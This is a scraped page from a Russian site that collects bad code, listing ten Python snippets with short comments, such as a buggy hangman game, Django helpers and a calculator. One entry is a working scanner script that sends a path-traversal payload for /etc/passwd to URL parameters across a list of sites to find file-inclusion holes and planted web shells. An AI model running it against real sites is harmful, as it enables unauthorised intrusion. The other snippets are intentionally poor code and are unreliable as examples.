1. Python / Говнокод #22861

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    word = ['PURPLE', 'BLUE', 'GREEN', 'YELLOW', 'ORANGE']
    import random
    choice = list(word[random.randint(0, 4)])
    print(choice)
    q = []
    for a in range(len(choice)):
        print('* ', end= '')
        q.append('*')
    print()
    for i in range(8):
        z = input('Введи букву: ')
        f = []
        for y in choice:
            if z in f:
                if y == z:
                q.pop(choice.index(y))
                q.insert(choice.index(y), y)
        print(''.join(q))
        print('Количество попыток: ' + str(8-(i+1)))

    Короче, ребята, я в программировании ноль. Препод дал задание сделать игру типа "Висилица".
    Вроде мой говнокод вроде работает, но двойные буквы он не распознает. Например в слове "GREEN" при вводе буквы E он открывает лишь первую букву: **E**. Как его научить открывать обе буквы - хоть убей не пойму. Да да, я тупой, но может объяснит кто? )))

    saltcress, 27 Апреля 2017

    Комментарии (10)
  2. Python / Говнокод #22850

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    def get_first_photo(self):
            photos = ItemPhotos.objects.select_related().filter(item=self)
            if photos:
                photo = photos[0].photo
            else:
                photo = None
            return photo
    
        def get_first_photo_url(self):
            photos = ItemPhotos.objects.select_related().filter(item=self)
            url = ''
            if photos:
                photo = photos[0].photo
            else:
                photo = None
            if photo:
                url += photo.url
            return url

    мы не ищем легких путей, первое изображение кровь из носу, но получим, а reuse вообще для лохов, чем больше строчек, тем больше денег

    BlackFox, 25 Апреля 2017

    Комментарии (7)
  3. Python / Говнокод #20869

    +1345

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    # Далее перечислены все флаги, с помощью которых выбирается то или иное поведение различных копий сайтов.
    #
    # INSTANCE_SPECIFIC_DJANGO_DEBUG
    #     В какое значение установить DEBUG переменную Джанго (желтые страницы с ошибками 500).
    #     True - показывать желтые страницы (для копий программистов)
    #     False - не показывать (вместо этого показаь 500.html шаблон) - для боевой копии
    #
    # INSTANCE_SPECIFIC_DJANGO_DEBUG_STATIC
    #     Надо ли в Урл Паттернс Джанги добавить media и static и обслуживать их Джангой
    #     True - да, используется для копии сайта программистов
    #     False - нет, используется для демонстрационной и боевой копии
    #     (там nginx обрабатывает статику и STATIC_URL в этом случае будет такой чтобы указывать на nginx)
    
    # Все копии программистов. Что значает эта секция см. комменты чуть выше.
    if INSTANCE_ROOT.startswith('/var/www/elin_800'):
        INSTANCE_SPECIFIC_DJANGO_DEBUG = True
        INSTANCE_SPECIFIC_DJANGO_DEBUG_STATIC = True
    
    # Демонстрационная копия. Что значает эта секция см. комменты чуть выше.
    elif INSTANCE_ROOT == '/var/www/dev.example.ru':
        INSTANCE_SPECIFIC_DJANGO_DEBUG = False
        INSTANCE_SPECIFIC_DJANGO_DEBUG_STATIC = False

    Файл настроек джанги, доставшийся мне от аутсорсера

    defaultvoice, 19 Августа 2016

    Комментарии (5)
  4. Python / Говнокод #18552

    −75

    1. 1
    2. 2
    3. 3
    4. 4
    def foreigned(to_db='default', in_db="operator_main_dbs"):
        u""" декоратор для foreign tables """
        
        assert to_db == 'default' and in_db == "operator_main_dbs"

    Вариативность

    parabellum, 30 Июля 2015

    Комментарии (35)
  5. Python / Говнокод #18541

    −74

    1. 1
    2. 2
    # django
    user=User.objects.get(username=request.user.username)

    ruslux, 28 Июля 2015

    Комментарии (8)
  6. Python / Говнокод #471

    −99

    1. 1
    2. 2
    import time
    print time.ctime(1234567890)

    Перевод времени из Unix-time формата

    guest, 27 Января 2009

    Комментарии (4)
  7. Python / Говнокод #449

    −227

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    #!/usr/bin/python
    #LinkScanSimple will take a list of sites and
    #add an extension after the = then search the 
    #source for a match you choose. 
    
    #For an LFI scan I use "root:" but for a shell location
    #I would choose the shell title (r57shell). For SQL
    #you can choose a common sql error.
    
    import sys, re, urllib2, sets, socket
    socket.setdefaulttimeout(5)
    
    #---------------------------------------------------------
    #Edit what you want added to the address.
    EXT = "../../../../../../../../../../../../etc/passwd" 
    
    #Edit what you want to search for.
    MATCH = "root:"
    #---------------------------------------------------------
    
    def parse_urls(links):
    	urls = []
    	for link in links: 
    		num = link.count("=")
    		if num > 0:
    			for x in xrange(num):
    				link = link.rsplit("=",x+1)[0]+"="
    				urls.append(link+EXT)
    	urls = list(sets.Set(urls))
    	return urls
     
    def test(host): 
     	print "[+] Testing:",host.replace(EXT,"")
    	try: 
    		source = urllib2.urlopen(host).read() 
    		if re.search(MATCH, source): 
    			print "[+] Found:",host
    		else: 
    			print "[-] Not Vuln." 
    	except:
    		pass 
     
    
    print "\n\t   d3hydr8[at]gmail[dot]com LinkScanSimple v1.0"
    print "\t-------------------------------------------------\n"
    			
    if len(sys.argv) != 2:
    	print "Usage : ./linkscan.py <site_list>"
    	print "Ex: ./linkscan.py sites.txt\n"
    	sys.exit(1)
    	
    try:
    	sites = open(sys.argv[1], "r").readlines()
    except(IOError): 
      	print "Error: Check your site list path\n"
      	sys.exit(1)
    
    print "[+] Loaded:",len(sites),"sites"
    urls = parse_urls(sites)
    print "[+] Links Found:",len(urls)
    for url in urls: 
    	try:
    		test(url.replace("\n",""))
    	except(KeyboardInterrupt):
    		pass
    print "\n[-] Scan Complete\n"

    guest, 23 Января 2009

    Комментарии (2)
  8. Python / Говнокод #418

    −174.8

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    def myint2str(x, n):
        zzeros = '0'
            input_string = str(x)
            string_len = len(input_string)
            for zz in range(1,n-string_len,1):
                zzeros = zzeros + '0'
    
            rres = zzeros+str(x)
            return rres

    Задача: написать функцию которая переводит целое число в строку определённого размера, содержащую это целое число и нули.

    То есть:
    5 >> 00005
    123 >> 00123

    Отсюда: http://koldunov.net/?p=194

    guest, 19 Января 2009

    Комментарии (4)
  9. Python / Говнокод #338

    −228.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    #-*- coding:cp1251 -*-
    from Tkinter import *
    """ pyCalc by deluxe, thanks to Sanch0
    Калькулятор работает только с 2 числами и одним действием над ними."""
    # глобальные переменные
    x1=''
    x2=''
    deistvie=''
    # функции батонов ввода цифр и запятой
    # если действие еще не задано, заполняется х1, а если задано - х2
    # и значение переменной отражается на соотв. виджете
    def press1():  
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'1'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'1'
    		lblx2.configure(text=x2)
    def press2():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'2'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'2'
    		lblx2.configure(text=x2)
    def press3():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'3'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'3'
    		lblx2.configure(text=x2)
    def press4():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'4'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'4'
    		lblx2.configure(text=x2)
    def press5():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'5'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'5'
    		lblx2.configure(text=x2)
    def press6():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'6'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'6'
    		lblx2.configure(text=x2)
    def press7():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'7'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'7'
    		lblx2.configure(text=x2)
    def press8():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'8'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'8'
    		lblx2.configure(text=x2)
    def press9():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'9'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'9'
    		lblx2.configure(text=x2)
    def press0():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'0'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'0'
    		lblx2.configure(text=x2)
    def pressdot():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'.'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'.'
    		lblx2.configure(text=x2)

    guest, 06 Января 2009

    Комментарии (7)
  10. Python / Говнокод #313

    −233.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    #начало индусокода
    def desyatka(number):
        return int(number/10.0)
        
    def edenica(number):
        return number-desyatka(number)*10
    
    hours_string=[]
    for a in range(0,30):
        zzz=""
        if edenica(a)<5:
            zzz = " часа "
        if edenica(a)==1:
            zzz = " час "
        if desyatka(a)==1:
            zzz = " часов "
        if edenica(a)==0:
            zzz = " часов "
        if zzz=="":
            zzz=" часов "
        hours_string.append(zzz)
    
    minutes_string=[]
    for a in range(0,60):
        zzz=""
        if edenica(a)<5:
            zzz = " минуты "
        if edenica(a)==1:
            zzz = " минута "
        if desyatka(a)==1:
            zzz = " минут "
        if edenica(a)==0:
            zzz = " минут "
        if zzz=="":
            zzz=" минут "
        minutes_string.append(zzz)
        
    seconds_string=[]
    for a in range(0,60):
        zzz=""
        if edenica(a)<5:
            zzz = " секунды "
        if edenica(a)==1:
            zzz = " секунда "
        if desyatka(a)==1:
            zzz = " секунд "
        if edenica(a)==0:
            zzz = " секунд "
        if zzz=="":
            zzz=" секунд "
        seconds_string.append(zzz)
    #конец индусокода

    Ф-ии, склоняющие по падежам и временам слова "часов", "минут", секунд

    guest, 30 Декабря 2008

    Комментарии (0)